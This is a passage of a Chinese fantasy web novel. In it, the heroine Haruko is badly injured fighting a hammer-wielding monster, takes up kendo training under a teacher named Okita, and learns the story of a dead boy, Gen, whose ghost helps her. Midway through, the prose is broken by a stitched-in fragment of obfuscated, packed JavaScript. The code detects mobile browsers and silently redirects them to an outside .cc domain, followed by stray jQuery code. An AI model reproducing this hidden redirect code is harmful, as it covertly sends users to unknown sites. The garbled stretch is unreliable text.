正在吃饭的晴子突然听见店外似乎有人在尖叫,她看向外面,只是看到有些人在驻足看着什么。 “出什么事了吗?”风夏将一块肉送进嘴里,也同样看向外面。 人群突然开始跑动,晴子猛地站起身,电话不合时宜地响起,她一把接通,“喂?” “晴子,检测有反应了,地点在……” “我这里!” 玻璃门外,一个怪人已经在众人的面前跑了过去。原本安静的店内突然爆发出了尖叫,有些人疯了一样地冲了出去,有些则是向着更往里的地方躲去。 “晴子!”风夏喊她的时候,她就已经冲出去了。风夏也只能赶紧拿起东西就往外出,一冲出去,就看见一个正在远离的怪人。 大敌当前,晴子也顾不得那么多,她姑且是找了一个可能没人能看见的角落进行了变身,随后直接追了上去。 怪人一路冲撞,并没有直接伤人的打算,而是直接奔向了那棵极大的圣诞树。 它怒吼着到树下,一把巨锤出现在了它的手里,仅仅一锤,就把那么高的大树直接打断。伴随着树倒下的声音,晴子杀到了。剑一出鞘,如同烈风过境,仅一瞬间就把附近的树干刻上道道深痕。 怪人吃痛,但并无大碍,一个转身就是一锤。即便是晴子,也不敢正面接下这一锤,好在其一看就十分沉重,不像是能挥动得很快的样子。只是当砸在地上的时候,地面就像是薄薄的巧克力板一样碎成了块。 她正要想办法进攻,怪人竟挥动巨锤又是一个升龙,当巨锤和自己的头以并不大的距离彼此错过的时候,她感受到了狂风在自己耳边炸开的恐怖。 然而此刻也真是时机所在,当巨锤向上挥动的时候,怪人的身体几乎是无法防备的状态。于是她压低身位,一剑横斩将怪人的身体打出一道火花。 “可恶,怎么这么硬!” 本想直接拉开一点距离寻找机会,但是怪人没有给她这个机会。就在她斩完一剑之后,巨锤马上从上而下砸了下来。 “不好,必须硬接了!” 如果此时躲开了,恐怕没有办法将全身都移出攻击范围,与其到时候哪里报废导致无法战斗,不如用手里的剑硬赌一把! 剑刃和巨锤碰撞时,晴子即便是双手持剑,她的手腕也无法抵挡那股冲力,直接就被巨力扭转,原本去抵挡巨锤的剑直接从肩上砍了进去,整个人也随即被打倒在地,连着滚了好几圈。 剑还死死握在手里,肩头淌着黑色的血液。将剑用力刺入地面,她颤颤巍巍地站起来,胸口不断上下起伏。怪人又冲撞过来,顺势又是一锤,结结实实地砸到了她的侧面,将她的左臂直接砸断了。 “啊——” 她捂着左臂在地上剧烈地挣扎,完全没有办法稳定自己状态继续战斗。 “晴子!” 情急之下,风夏撕心裂肺地喊了出来。她听见这一声,用力看向风夏所在的地方,怪人也将目光放在了风夏身上。 “危险……” 她拼命地想让风夏逃走,而风夏也希望自己的声音能给她创造逃跑的可能。令人没想到的是,怪人突然停止了动作,几秒后,它的巨锤重重地落在地上,身体不再动弹。 现场突然进入奇妙的静止状态,三者处在微妙的平衡之中,谁也没有妄动。 随之而来的,是一些听起来就令人安心的声音。数道警笛声由远及近,所有警察严阵以待。当警车从四面八方包围起了这片区域,警察们保持阵型突入现场,将怪人团团为主。 八塚玄看了一下倒地的晴子,心里也不由得紧张起来。风夏见到这个景象,连忙躲在了警察们的身后。 八塚玄深吸一口气,“开枪!” 无数子弹立即开始向怪人倾泻,其中还包含数声反器材步枪发出的巨响。原本晴子根本砍不进去的怪人的皮肤,此时却被子弹打了进去。虽然也跳弹了不少次,或者说大多数都被跳弹了,但确确实实有子弹顺利打了进去。 怪人发出怒吼,几次就要开始进攻,但是那些子弹确实给它造成了不小的麻烦,偏就令它不好招架。 在这期间,晴子已经用剑撑着自己的身体连滚带挪地爬了起来,任由左臂摇晃着,右手持剑就向着对方的脖子砍了过去。 正如她所想的那样,脖子确实是薄弱的地方,然而一剑并不足以将其灭杀。怪人对着她的剑就是一锤,她本就不剩多少力气,这一下令那把剑飞出老远,自己也是踉跄地后退了几步。 可是事到如今不彻底干掉恐怕自己就凶多吉少了,她大吼一声,重重踏出一步,从腿上发力到腰上再到手臂,最后一个摆拳对着怪人的脖子就是一下。 世界仿佛安静了,她看见了,一辆大卡车突然冲进街道,一下撞倒了那棵巨大的圣诞树。一脸惊恐的风夏被从头顶砸了个结实,而自己站在一家便利店的门前什么也阻止不了。 冷意涌上心头,恐惧蹭蹭递进,当喊出一声“风夏”的时候,她才发现自己又身处医院了。 “已经有挺长时间没来这了……” 晴子擦了擦头上的汗珠,自己的左臂已经被石膏包裹。她晃了晃脑袋,不明白自己为什么看见的是风夏,但这确确实实令她感到强烈的心有余悸。 “风夏,风夏……” 她有些焦急地呼唤风夏的名字,但是对方却不在这间病房里,直到她缓缓走出门的时候,正要回房的风夏看见这一幕一脸着急地跑了过来,赶紧掺住了她。 “风夏!风夏!” “怎么啦,我在。” “我怕你不见了。”晴子狠狠地抱住风夏的脖子,脸色煞白,仿佛下一刻风夏就要从自己的手中消失一般。 看见这样的她,风夏连忙说着“我在我在”,一边安慰了很长时间。 10. 变强 “果然还是需要变得更强啊。” 晴子冷不丁地蹦出这句话,让风夏手上的动作顿了一下。她将口中的食物尽数咽下问道:“怎么突然这么说?” 晴子用筷子夹断了一块豆腐,脑海中想的却是用剑的方式。之前的那一战一直在脑海中挥之不去,不仅仅是自己技术方面的问题,还有无法释怀的失去风夏的那一幕。 “变强了,才可以更好地保护大家不是吗?” “是啊,但是……” 风夏没有继续说下去,她的脑海中浮现出的是晴子战斗时的身姿。从一开始的肉身战斗,到越发熟练的变身,越发有压迫力的气场,直到现在连武器都凭空出现,很明显,晴子正在不断地进化着。可是,进化就一定是好的吗? “怎么突然不说话了?” “没什么。” 晴子看向了别处,此时正是中午吃饭的时间,餐厅之中人来人往。这是一家新店,听说是某个很有名的主厨开的分店。 “大家都笑着呢,这很棒不是吗?如果我可以更好地战斗,就可以让人们不必为了怪人而担忧,让痛苦的人重拾希望,保护大家不受伤害,我觉得这正是变强的意义所在。” “是啊……” 突然,“啪”得一声传来,两人转头去看,发现是一个男生撞到了餐厅的玻璃上。看到他捂着脑袋的样子,大家都不禁轻笑起来。这时,晴子的目光聚焦在了男生背后的东西上,那一看就是被背着的竹刀。 “对哦,去找会剑道的人学不就好了嘛……” 听到这句,风夏也反应过来,“确实啊,我认识我们学校剑道部的部长,我来联系一下他吧。” 还没等晴子再说些什么,她就已经拿出手机开始联系了。 “喂,是我呐……怎么,不能给你打电话?哈哈哈,我就是想问问你的剑道是哪里学的,我们班的美少女很有兴趣啊……嗯嗯,那就拜托你啦。” 只是通过了很简短的通话,她就放下了手机笑眯眯地说:“热心的前辈很乐意给你介绍,还说有什么不懂的都可以去问他。” 晴子的心里却是有些忐忑,“诶?这么突然,怎么这么快就联系完了,我还没做好思想准备。” “好啦好啦,要什么思想准备,想做什么就立刻去做,等你准备完了都什么时候了。”她站起身,利落地结了帐,“听说下午还有课,反正是清闲的寒假,咱们直接去看看吧。” “那个……不消化一下?” “走了。” 风夏直接抓着晴子的手就出了门,随手打了一辆出租车之后,两人直奔目的地而去。 下车后,发现是一个两人都不常来的地方,一个并不大的剑道培训中心就在这个建筑的二楼和三楼。现在是中午休息的时间,并没有办法看见有学员在练习,不过也正是能够和老师进行交流的时间。 一进办公室,一个热心的男老师就马上起身迎接。 “你们就是小原和香月吧,铃木给我打了电话。” “辛苦您了。”风夏轻轻鞠了个躬,晴子也跟着俯身,“我们想了解一下剑道培训是怎么样的。” “没问题。先自我介绍一下,我叫冲田瞬一,百闻不如一见,我们直接去道场看一眼吧。” 冲田带着两人出去,打开了道场的门。场地看起来挺大,干净的木地板被擦得闪闪发亮,其中并没有太多物件,有一些装饰品挂在墙上和放在桌上,还有一些供人休息的椅子,再剩下的,就是一些练习用的草席。 “你们对剑道有了解过什么吗?” 两人都是摇摇头,不过晴子说:“那个草席,我在视频里看别人砍过。” 冲田笑道:“你觉得有什么感觉?” “嗯……感觉别人砍起来好像很轻松,但是我总觉得这东西并不是那么容易能够砍断的。” “说不定你直觉很准呢。”他快步走过去,将草席搬过来摆在道场中间,然后一边说着“稍等一下”,一边取了一把真刀过来。 感觉到要看到高手展示了,两人都是后退两步,给冲田留足了位置。 之见冲田行了一礼,将刀拔了出来并双手握住,随后一个六连斩,轻描淡写地将草席砍得四处掉落。仔细观察,草席的切面十分平整,就像是被切纸机切断的纸面一样完美。 “真是了不得啊。”晴子由衷地发出了感叹,“在这么近的距离亲眼去看,就越发觉得不得了。” “诶……”风夏听此若有所思。 晴子又道:“能否让我试试呢?” 冲田毫不犹豫地答应道:“当然可以,不过你要小心,不要被刀刃伤到了自己。” 他将刀递给晴子,搬来一卷新的草席,又招呼风夏一起退到更远的地方,这才示意晴子可以开始了。 晴子做了个深呼吸,长而缓慢地呼出一口气来让自己的双臂保持平稳,脑海中反复回忆着刚才示范的动作,最后斜向下一刀砍下来。 没有任何悬念地,刀卡在了草席之中。她对这个结果很不满意,说实在的,虽然嘴上那么讲,但是实际上她还是希望能够一刀砍断,毕竟谁不想一鸣惊人呢?再加上自己的身体已经比一般人要强,卡在这样的位置确实是有点令人失落。 冲田叫她别动,观察了一下她的姿势以及砍入草席的刀路,心里已经大概有数了。 “倒是蛮有前途的,只要按照我们的指导练习,肯定可以很快进步的。” 晴子点了点头,心里还有些放不下刚才那一刀,风夏则是满意地说:“那真是太好了,看样子她还是很有天赋的啊。” “当然。虽然看起来并没有砍断草席,但是她只是不懂得技巧。从动作来看,她的模仿能力是比较强的,学习速度会很快。现在所欠缺的就是呼吸与动作的配合,全身发力的方式,手臂在出刀时的稳定性,以及精神的平和。” “精神的平和?” “嗯。”冲田看向晴子,“香月,你恐怕还沉浸在刚才的失败中吧?” “啊?啊,嗯,确实。”晴子感到有点不好意思,“我总觉得我应该可以做的更好的,可是就是没有做好呢,如果我当时……” 她用刀比划比划,随后又慢慢放下刀。 “为什么没有砍下去呢?” 冲田突然这么问道,而晴子的手突然僵住了。能是为什么呢,那还不是因为…… “因为害怕第二刀还不如第一刀对吗?” 晴子的突然手有些发抖,她想刀放回刀鞘,对了四次才对准,随后轻轻把刀归还给了冲田,说了一声抱歉之后走出了房间。 风夏本来想跟着出去,但是冲田却叫住了她,“那个……她最近是不是遇到什么事儿了?” “为什么这么说?” “因为她身上弥漫着非常不好的气息,恐惧、愤怒、焦躁、急切、失落,这些情绪杂糅在她身上,如果用一个词概括她这个人现在的状态,恐怕抑郁是比较合适的。” 风夏深深看一眼门的方向,“实际上我也感觉到了,但是真的到了这样的地步吗?” 冲田叹了口气,眼中满是担忧,“实际上我不该和她说得那么明白,就像是点燃了一个引线,但我又不愿看着这样的人慢慢走到更难以出来的地方,所以觉得或许说明白后让她想一想会不会更好呢?” “现在恐怕不该去她身边找她吧。” 正说着,晴子却进来了,“请问可不可以让我在这个房间练习一下呢?我会支付使用的费用的,但是有人在这里我可能会紧张。” “没问题,免费借给你了,如果想要练习挥刀,那边有一把竹刀。” 说罢,冲田招呼着风夏就一起出了门,然后把门关上了。两人回头看了一眼门,又对视了一眼之后,一起向着办公室走去。 晴子看向那把竹刀,走过去将它握在手里对准了那个被砍了一个口子的草席。高高举起刀,脸上的表情骤然一变,但又突然停下了动作,一个转身,对着身边的空地狠狠挥下。 门外,两人已经坐在了办公室里,突然听见一声吼叫,让两个人都是一激灵。那个房间虽然隔音没那么好,可也没那么差,而此时一声声嘶吼透过门传到了两个人耳朵里,冲田的脸上满是愁容,而风夏则随着那一声又一声的歇斯底里而越来越心疼。 “小原,可以告诉我她身上到底发生了什么事吗?” 风夏用双手捂住脸,想要说,但又不能说,“怎么说呢……总之她说想要来学习我就带她来了。她之前经受过很多痛苦的事,可能未来还会经历。所以她……唉,我真不知道怎么说啊。” 冲田看出这是有难言之隐的,一定是有无法让自己知道的理由,但是有一件事他还是清楚的,“她是不是说自己想变强呢?” 风夏听此连忙点头,“是的,实际上就是她说自己想变强,我才联系了铃木同学。” “果然呢。”冲田站起身,取来两个新的纸杯,把提前烧好的还冒着热气的茶倒在了两人的杯中,“在这里学习的人,大部分都是为了兴趣或者修养心性,但是也有几个是为了变强的。是真的说了自己要变强,有各种各样的理由,经历着各种各样的痛苦。” “那那些人后来怎么样了?” “我们要做的第一件事往往都不是教他剑术,而是了解他想要变强的理由是否危险,然后先解开他的心结,让他能够更加平和地练习。” 风夏喝了一口热茶,耳边的嘶吼已经听不到了,可是这却令她的难过更上一层,“恐怕,这是很难的。” “实际上其中的大部分人都很好解决,理由也相对正面,但是如果做不到的话,对他人和自己来说都可能会有危险。” 冲田看向了一个柜子,上面有一个魔方,和别的东西放在一起格格不入。他永远都忘不了那个学员,那个看起来如此阳光的男生……如果自己那时再敏感一些就好了。 道场里,晴子轻轻喘着气,头发已经乱糟糟的了。她慢慢坐到地上,大脑一片空白。她很想要这样什么都不想的感觉,因为最近十天左右,她一直都在做不同的噩梦,每天躺下要一个小时左右才能睡着,很多人在自己的梦里死去,以前打过的怪人都在自己的眼前反复浮现。 看向手中的竹刀,轻轻抚过刀身,最后用力握住。她又开始恐惧了,不是怕与怪人之间的战斗,而是怕越来越多人的生命因为怪人消失。最近一次的影像,明明知道那个死去的人并不是风夏,并且那个人也并非死于怪人,但恐惧却深深刻下了。她害怕自己的战斗有一天会波及到身边的人,会让自己最珍惜的人受伤甚至死亡,就连梦里也已经出现了这样的场景了。为此,不变得更强是不行的,只有变得足够强自己才能安心。 “你在做什么呢?” 一个声音突然打断了她的思绪,一抬头,发现是一个初中生年纪的男生。 “这个是我的竹刀。” 晴子连忙把竹刀递过去,“对不起,擅自用了,不过是冲田老师说了我才拿的,实在抱歉。” “没事。”男生并没有接过竹刀,而是拍了拍自己背后背的东西,“姐姐拿去用吧,我有这个了。” “这是……” “真刀。” 晴子感到有些好奇,“这种东西是可以随意被你这个年纪的人自己背着的吗?” “有什么不行的?用你手里那个东西应该没法砍草席或者竹子吧?” 一想好像确实是这个道理,由于对这些东西都不太了解,她也不好意思多说些什么。 男生看了一眼那个有口子的草席,嘴上浮现出笑意,“看样子你的水平似乎不如我呢。” “那不是理所当然的吗?我又没有接触过,第一次能做成这样已经不错了吧?”晴子有些不服气地反驳道,“连冲田老师也说我应该会学得挺快呢。” “哦?那还挺好的,不过我第一次可是就砍断了草席呢,这才让我有能力使用真刀。” 晴子心中大吃一惊,看起来比自己小也比自己还瘦的男生,居然在这上面如此有天赋。稍顿了一下,她正色道:“可以帮我看看我到底错在哪里吗?” 但是男生却摇了摇头,我马上还有一件事要做。 “是这样啊……那就没办法了。” 这时,男生突然看向一个方向,神色也突然变得焦急起来。 “怎么了?” 他一咬牙,愤怒涌上面容,“是怪物!” “嗯?难道说你能感知到吗?” 男生夺门而出,晴子自然不能放任不管,当即一起冲了出去。男生拦住了一辆出租车,并没有拒绝晴子一起坐上来。他所说的有怪物的地方离这里颇有一段距离,这使得他一直着急地盯着窗外。 终于,目的地到了。男生开门就跑,晴子只得赶紧掏钱,然后再去追他,没跑多远,就看见一个手持匕首的怪人正在逼近一个女生。 “姐姐!可恶!” 那个被他叫姐姐的女生看见了他,用尽力气喊道:“快逃!” 这时,匕首已经快刺向女生的心脏。 男生的刀已经握在了手里,他大喊着冲向怪人。怪人的动作停了一下并看向他,看到机会的他一刀下去,和晴子预料的一样,那把刀并没有能打破怪人的防御,反而被怪人抓住了刀身。 晴子看在眼里急在心里,也顾不得那么多,瞬间变身就冲了过去,就在匕首快要落在他身上的时候抓住了怪人的手,然后一拳打在了怪人的脸上。姐姐一把拉过弟弟,然后把他护在了怀里。 晴子见两人没事,一闪身躲过了匕首一击,又狠狠补了一拳。怪人踉跄两步站定身形,再看时,剑已经出现在了她的手里。 看准怪人,剑刃飞速冲向目标,然而脑中突然闪过了自己砍草席没有成功的经历,这一下的走神令怪人的匕首先一步打在了她的身上,强大的力量令她在地上滚了几圈。 男生连忙喊道:“不要犹豫啊!看准目标,稳住呼吸,心无杂念!这是冲田老师教我的!” “即使你这么说……我也不懂啊!” 晴子用剑架住对方的匕首,她不知道为什么匕首这么小的武器却有这么强的攻击能力。僵持不下之际,她直接补了一脚,将对方踢开,然后用剑攻了上去。怪人实在是灵活,轻而易举地就突破了斩击,转而从防守方又成了进攻方,她只得赶紧抽剑于身侧挡住对方的攻势。 双方又较量了数招,她越发感觉到怪人难以对付。对方的力量和敏捷都很强,到现在自己连有效的伤害都没有打出来,自己反而开始感到疲惫了。 “呼吸!那样呼吸是不行的!” 听到男生的话,她全力稳住自己的呼吸。记得黑木先生在教她的时候也说过这样的事。“要稳住,要维持节奏,要看准目标。”她不断这样告诉着自己,黑木的教诲又浮现在了她的脑海之中,这时,她才发现自己的呼吸有多么不对劲。 到底是从什么时候开始,自己变成了这个样子呢?就像是完全没有练习过的新手一样,呼吸又急又乱,出招也不稳定,完全不是怪人的对手。 她拉开距离快速晃了一下脑袋,然后再次看向怪人。随后,她没有贸然出手,而是让自己的内心慢慢平稳下来。她的心跳变缓了一些,气也逐渐平稳。当怪人再次出手,她看清了对方的出招方式,精准地挡住了攻击。 “看准他的动作,稳住自己,不要着急,对方并不是那么强大的存在。”她在心里不断这样告诉着自己,状态终于开始越来越好。又过了五招,终于,她第一次在怪人的身上砍下了一道伤口。 “真是不容易啊。”她的内心浮现出了一丝喜悦,尽管局面实在是说不上乐观。这或许是真正意义上的第一个,令她感觉到从技术上压制了她的对手,而不是力量上和能力上的差距。也正因如此,战胜它才会令人感到兴奋。 稍微活动了一下自己的身体,她的呼吸更加稳定,就像是终于进入了状态一般,整个人给人的感觉发生了变化。很有默契地,双方同时出手再次发动了进攻,虽然她打得更加激进,但是却更加稳定,看起来是有些矛盾的,但是非常有成效地压制住了怪人的动作。 晴子回忆起了在黑木身边的那一战,那时似乎做到了很不得了的事,攻击的精准即便是自己回忆起来都觉得叹为观止,但是之后就再也做不到了。她还是不太明白自己的力量到底要如何使用,而且那时候顾不上好好体会。假如可以激发出那种精准的斩击,是否就会好打很多呢? 脑袋里想着事情,但是动作出奇地没有乱。就在这时,男生大喊道:“危险!” 只见处于劣势的怪人手里突然多了六个匕首,然后猛地拉开距离,一气将八个匕首一起投向了晴子所在的方向。这些匕首就像是突然加速的炮弹一般,以恐怖的速度冲向了她全身上下不同的位置。 令人汗毛倒立的气息令她绷住了神经,她只有瞬间的机会用来出手。按理说这几乎已经到了必定重伤的局面,然而不可思议得,时间就像是变得很缓了一般,以至于她本人都愣了一下。 随后,心脏重重地跳动了一下,她的意识猛地变得模糊起来,时间又开始正常地走动…… “好,好厉害!” 听见男生的惊叹,晴子稍微用力眨眨眼睛,疑惑地看向他。刚才的她一瞬间完全丧失意识,就像是灵魂被人装进了一个黑盒子,回过神来的时候也不知道发生了什么。 顺着男生的目光看去,她发现自己身前已经没有怪人,自己的剑上还在冒着烟,从自己的剑尖出发到很远的地方,地面上存在着一条相当长的黑色印记,阵阵焦糊的味道让鼻子里很不舒服。 “刚才到底发生什么了?” “哈?”男生愣住了,“你刚才不是双手用剑一挥,一条巨大的火蛇就直接咬住了怪人,带着它冲出了很远,最后一口把它消灭了吗?” “啊?” 晴子努力回忆,但是确实没有做这件事的记忆,只能“哦……”了一下,又看了看那一道诉说着夸张招数的痕迹。 解决了麻烦,晴子解除了变身的状态,这才想起来自己这次当着不知情的人面前变身了,一时间不知道要如何是好。是否要联系一下黑木先生呢?她认为还是有必要的,不过话说回来,警方的装置看起来还是没有完全覆盖到这片区域。 男生看着她露出笑容,晴子感觉他的神情并不包含多少喜悦,也没有一般人看见这一幕的兴奋或者恐惧,而是有一种欣慰与释然。 突然,她的意识很快模糊,就像是即将陷入沉睡的感觉一样,随后一哆嗦,她猛地睁开了眼睛,自己正坐在地上,而风夏站在自己的身边。 打了个哈欠,轻轻用了一点劲,感受到竹刀正被自己握在手中,不禁感到大脑一片空白,低下头呆呆地看了竹刀片刻,才终于意识到发生了什么事情。 “已经快到学员们上课的时间了。” 风夏轻柔的声音传来,她的手也伸到了晴子面前。 晴子站起身,刚好冲田走了进来,见她没事便道,“你还好吗?” “嗯。” 没多说什么,将竹刀递给了冲田,她感觉那个梦实在是有些太真实了,自己什么时候进入的梦境都不得而知,剩下的只是挥之不去的深刻记忆。 冲田接过刀,看了看保持原样的草席,轻叹一声,表情有些复杂。但他没有说太多,只是招呼着二人先出来,一同回到了办公室里。 “这两套就给你使用吧,不如跟随班级切实体验一下是如何上课的,也可以与那些学员交流交流。”说着,递给两人每人一套练习用的服装。 触摸着面料的触感,不知为什么,晴子感到有些愉悦,这种能够切实感觉到自己正在前进的小事让她感到有些安心,哪怕最终有可能是自我安慰,但也使她能够拥有一些前进的动力。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266090|166574||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 学生陆陆续续地到来了,反而她们并没有先进去,当冲田向学生们说明了有两人要试听之后,她们才做了一个自我介绍。扫视整体,她们发现学生并不是都是小孩子或者中学生,而是各个年龄的人都有,这是一个二十多人的混合班级,加上冲田一共三个老师负责。 由于这个班级已经学会了很多东西,练习的部分会和两人存在差别,不过还是值得一听。主讲还是冲田老师在负责,与之前一样,当他拿起刀时,整个人的气质一下子就变得非常不同,尽管只是讲课,眼神中仿佛蕴含着一股平时没有的力量。 学生们听得聚精会神,可以看出冲田老师在他们心中极有威信。在一个段落的教学结束,学生们开始练习时,他走了过来。 “怎么样?虽然可能不是你们现在就可以接受的东西,但是这个氛围你们怎么看?” 晴子还是很满意的,她再次环顾了四周,“说实话,比我想象的还要好很多。而且刚才的讲解也并非完全不能理解,经过演示其实还是很清晰的。” “哦?不知道你理解了多少呢?” 听到这个问题,她想要开口去说,但是一时间不知道要怎么组织语言,总觉得一但开口,所说出的话大概就是在复述之前的讲解,如果不是用自己的理解来讲出来,恐怕很难说明自己确实收获了些什么。 “要不,直接试一试比较好吧。”她看向草席,“还是砍一下看看。” “没问题。” 冲田也不再多说,很快拿来了那把真刀。当接过刀的时候,晴子感觉手感都发生了变化。有一种莫名的坚实和稳定从手掌直冲大脑,就像是老练的宗师一样将刀拔出,行云流水地摆好了姿势。 冲田眼前一亮,不知道这段时间在她身上发生了什么,但是确实看着很有架势。还没有回过神来,只听着一声闷响,草席已经被斩为两段。 风夏与冲田都是一愣,眼睛猛地睁大,实在不敢相信晴子真的做到了。但是反观晴子,却皱起了眉头,她总觉得自己顺利得有些不正常,内心也平静得有些吓人。攥紧刀把,她反手就又是两刀,而草席也是顺势又被斩断。 还没等两人说出感想,她就率先开口,“总觉得哪里不对,我记得网上不是有砍竹子的视频吗,有竹子吗?” “竹子?也不是没有,但是……” 冲田与风夏对视一眼,又看了看有些皱眉的晴子,终究是没有多说,转身就走出了房门。 风夏凑了过来,“厉害啊,怎么突然变得这么厉害了?之前不是还完全砍不透吗?”稍微停顿了两秒,她用更小的声音道,“是那种力量得到了增长吗?” “我也不清楚,我只感觉到自己似乎出现了类似于本能的东西,就像是我本来就有的肌肉记忆。不过……这让我有一种自己并非是自己的感觉。” “不是自己?” “嗯,我对自己感到好陌生啊。” “是很糟糕的感觉吗?” “是有些糟糕的感觉,但是变强了确实是事实。” 正说着,冲田已经拿来了竹子,看起来确实和在视频里看到的那种是一样的。在熟练地放置好之后,他示意晴子可以开始了。 几乎没有任何犹豫与调整姿态,就在他话音落下的瞬间,一道刀光就已经闪了下来,只听得一声低响,竹子应声断裂,在地板上落下了惹人侧目的两声。 正在练习的学生早就关注到了这边,几乎所有人都停下了自己手中的动作,难以置信地看着这一幕在眼前发生。明明是第一次前来试听的新人,却拥有如此不俗的实力,很多人的脑海里出现了各色想法。 冲田缓缓鼓掌,周围的人也开始一同表示赞赏。他俯身查看竹子的断面,一时间思绪万千。与他一同地有几个学生也从震惊转为了沉默,似乎是想到了什么一般,或是将头低下,或是轻轻叹气。 这些并没有逃过晴子的眼睛,如今的她不知道要比原来敏锐多少。本想开口问,但转念一想又觉得是否不太好,正当犹豫之际,反倒是冲田先开口了。 “真是令人感叹。”他露出了有些复杂的笑容,“上一次见到这一幕,还是在小源的身上。” “小源?” “嗯。他叫樱井源,是这里年龄最小的学生之一,一来就爆发出惊人的天赋,大家也都非常喜欢这个孩子。”冲田看向风夏暂时帮忙拿着的那把竹刀,“实际上这之前给你用的这把竹刀原本就是他的。” “原本?” 冲田点点头,又重重地叹了口气,“曾经他来的时候,我问过他为什么要学剑道,他曾说出了那个他人很少说出的词,变强。我感到好奇,看他的表情似乎带有异常的执念和严肃,所以询问了他原因,而他给我的回答是,为了保护姐姐。当时我没多想,只是夸奖他是一个男子汉,当他是一个有着英雄梦的孩子,并且希望更加细心地教他,可是……” 冲田的思绪回到了过去,他记得那是一个下午,自己正在午休的时候…… “冲田老师!” 一个女老师直接冲进了办公室,她的脸色万分焦急。原本与冲田一直有些距离的她,此刻却直接上手抓住了冲田的手腕,一边说着“快走”,一边用袖子擦了一下脖子上的汗。 “到底怎么回事?” “小源他被送去抢救了!” “什么!” 两人拦了一辆计程车,请求司机飞速赶到医院,但是迎接他们的,是才看见抢救室的瞬间就一同看见的跪着哭泣的一对夫妻。 冲田用力搓了搓自己的脸,他简直不敢相信眼前的景象是真的,两位老师一同过去扶起了那对夫妻,也同时明确地接到了关于小源的噩耗——姐弟两人全部死亡。 在十几分钟之后,老师们才了解到事情的全貌。 小源原本是富裕的家庭,但是因为一场危机,生意赔本,整个家庭瞬间陷入了窘迫。令人没想到的是,对方的公司并非是以正当手段赢得了这场较量,而是串通背后的□□使用威胁的手段拔掉了对手的羽翼。 得知真相的双亲因为恐惧而只敢在家中落泪,可是却被小源在暗中听到了两人的部分言语。立即报警的他并没有如同自己想象的那般得到警方的帮助,而是被陷入恐惧不想牵扯其中的警员搪塞了过去。 背负巨额债务的双亲被□□告知,如果还不上钱,就要做掉他们的孩子抵债,或者把女儿送给他们也可以。 双亲立即用尽全力去筹钱,而小源则是拿起了手中的刀。 最终,在到达期限但还未交够钱的这一天,小源在外用真刀与拿着匕首的男人战斗,却不敌对方,惨遭杀害。事情终究被报道出来,那名警员被揪出来,警署将情况上报给了警视厅,终于有人出手对付他们。而在他们的某一次做案中,被黑木所在的小队端掉了全部的人,黑木也因救下人质重大立功。 晴子拿过竹刀,再次审视整个刀身,随后抬起头道:“这把刀可以出售给我吗?我想把它带在身边。” 冲田笑着摇了摇头,“这刀还是卖不得的。小源一直都很喜欢这个道场,我们也很喜欢他,交于你使用倒是无妨,这也是小源的意志的延续,但是我希望这刀可以留在道场之中,好给很多人,尤其是我们留一个可以思念的东西。” 话已至此,再多说也没有办法,晴子只得将刀还了回去,心里则是久久不能平静。回想起当时的那个怪人,或许那就是小源内心的具象,那样的强大不可战胜,以及对内心窒息般的压迫力。 就在这时,她感到自己重新沉静了下来,不再是像之前那样有一种很是着急的感觉,也不再有破坏欲,弥补上来的,是一种释然与平静。她感到非常高兴,属于自己的那种感觉,终于慢慢地回到了自己的身上。 事情告一段落,她重新回到了训练之中。在试着劈开了三个半的草席之后,冲田开始教授她确切的招式。 黄昏,道场中,众人围坐,晴子与冲田站在中间。相对行礼,后撤拔刀,尽管是竹刀,在护具下隐藏着的两人的眼神,都是认真而锐利。 缓慢移动脚步,观察着对方可能出现的破绽,冲田轻轻露出笑容,一股欣慰冲上心头,仿佛看到了曾经与自己对战的小源,如果他再长几年,能否长到这么高呢? 正想着,竹刀已经直取面门,冲田用刀架住,两人一瞬间就开始了过招。不过宗师毕竟是宗师,哪怕晴子的天赋再强,也不是拿刀十几年的冲田的对手,只能尽可能地让自己平心静气,用稳定的打法专注地进攻。终于,在她的面罩上,竹刀发出了略显清脆地一声,战斗结束了。 “真是不错的苗子,好好加油,必然可以进步神速。” 听到冲田的评价,她高兴地擦去头顶的汗珠,周围的人也都爆发出掌声。 由于要办理入学的手续,两个女生稍微耽误了一些时间,不过拿到了有人推荐和很对冲田胃口的双重折扣,交学费的时候已经可以说非常低了。 与老师们告别,回想起今天的经历,晴子感觉收获很多。充实且能够获取进步的生活正是她想要的,在窗外照进的夕阳的余晖中,她迈出坚定的步伐,满意地离去。 “谢谢你,姐姐。” 正当要下楼梯的时候,有些熟悉的声音从背后传来,她顿住脚步,回头去看,发现一个有些透明的身影正向她微笑。那是一个男孩,是今天才认识的陌生人。 晴子也笑了,看着那身影离去,他走向了光芒的方向,或许那里是通向幸福的道路。道场里,摆在架子上的竹刀上,少许光粒缓缓消散。 “不会吧,我见鬼了?风夏难以置信地看向那个方向,惹得晴子噗嗤一下笑了出来。 “你还笑!刚才那个是幽灵吗!” “那是朋友。” “朋友?” “嗯,是小源。” 风夏愣了一下,随后慢慢呼出一口气,“原来,他就是小源啊……” 11. 敌人 学习剑道让晴子的实力有了明显的提高,风夏这样单纯为了陪伴的人,都已经掌握了不少剑道的技术。 剑道的武器与晴子本身的武器还是存在差距,虽然技巧学习了不少,但是对于西洋剑的应用仍然是没有头绪的,于是她以自己感兴趣为由提出了关于西洋剑术的疑问。 只能说冲田不愧是宗师,发力的方面根据武器类型的改变自然地想到了解法,为了拿出更好地回答,他集合了另外两个老师一同探讨,恰巧其中一人对这个方面有些了解,更加完善了整体的理论与实战方法。 在道场的时候,晴子一直都练习日本刀的技术,而回家之后则会练习西洋剑的招式。 新年很快到来,这是一个值得庆幸的安稳的新年。双手合十,闭上双眼,晴子与风夏许下了愿望。祭典与欢笑,浴衣与烟花,本是时刻绷紧着神经的警视厅也难得地放松了下来。当两个女孩看见黑木与八塚玄共同漫步在祭典的摊位,简直没把眼珠子都瞪出来。 